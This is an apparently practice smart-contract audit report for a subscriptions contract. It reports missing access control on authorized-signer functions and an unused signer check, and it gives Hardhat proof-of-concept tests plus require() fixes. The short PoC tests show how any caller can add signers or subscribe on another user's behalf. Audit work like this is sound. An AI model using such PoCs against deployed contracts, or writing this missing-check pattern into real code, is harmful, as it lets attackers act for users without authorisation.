

# Audit Report

**Project :** AuditorDAO/practice-audit.subscriptions

**Auditor:** zzzuhaibmohd(<https://github.com/zzzuhaibmohd>)

Severity	Title
High	1. Any user can become an authorized signer for a user
High	2. <code>checkAuthorizedSigner</code> is defined but never used
Low	1. Missing unit tests for <code>collect</code>

## [H-1] Any user can become an authorized signer for a user

`addAuthorizedSigner` allows a user to add others users as trusted signers for the users' behalf.

There is missing access control check to verify if the `msg.sender == _user`. As a result, anyone can become a signer on behalf of other user. Similar issue can be seen in `removeAuthorizedSigner` where in anyone can remove an authorized signer on behalf of an user.

**Proof of Concept** - Run the following Hardhat Test to verify the issue

```
it('Exploit#1 -> anyone can call authorizedSigners', async function () {
  const user_1 = subscriber1.address;
  const user_2 = subscriber2.address;
  const signer = await ethers.getSigner(user_1);

  await subscriptions.connect(signer).addAuthorizedSigner(user_2, user_1);
  expect(await subscriptions.checkAuthorizedSigner(user_2, user_1)).to.eq(
    true
  );
});
```

**Fix:** Add the following check in `addAuthorizedSigner` and `removeAuthorizedSigner`

```
require(_user == msg.sender, 'caller and _user are different, Not Authorized!');
```

## [H-2] `checkAuthorizedSigner` is defined but never used

`subscribe`, `extendSubscription`, `fulfil` are functions which can be called by self or any user. Who defines the anyone should be controlled by user via `checkAuthorizedSigner` user can control who can really call function on behalf of them.

### Proof of Concept

```
it('Exploit#2 -> will allow anyone to start and extend a subscription', async function () {
  const now = await latestBlockTimestamp();
  const start = now;
  const end = now.add(1000);
  const newEnd = now.add(2000);
  const rate = BigNumber.from(5);
  const user = subscriber2.address;
  const subscribeBlockNumber = await subscribe(
    stableToken,
    subscriptions,
    subscriber1,
    start,
    end,
    rate,
    user
  );
  await mineNBlocks(150);
  await extendSubscription(
    stableToken,
    subscriptions,
    subscriber1,
    user,
    newEnd,
    subscribeBlockNumber
  );
});
```

**Fix:** Add a check for in the following function to disallow unknown users from invoking these functions.

```
require(checkAuthorizedSigner(_user, msg.sender), "Not Authorized Signer");
```

## [L-1] Missing unit tests for `collect()`

The code coverage report for `collect` function which is protected by `onlyOwner` modifier is missing. Adding unit tests for all the functions in the smart contract helps devs and auditors better understand the code.

**Fix:** Add missing unit tests for `collect`

## Some Question is Mind, not sure if vulnerability

1. If user X **subscribes** on behalf of user Y. When `unsubscribe` is called the unlocked funds transferred by user X are returned to user Y. Moreover user X cannot call unsubscribe on behalf of user Y. Not sure if this functionality or a bug.
2. Not really sure what is happening inside the while loop of `collect`, unit test would have helped better understand the functionality.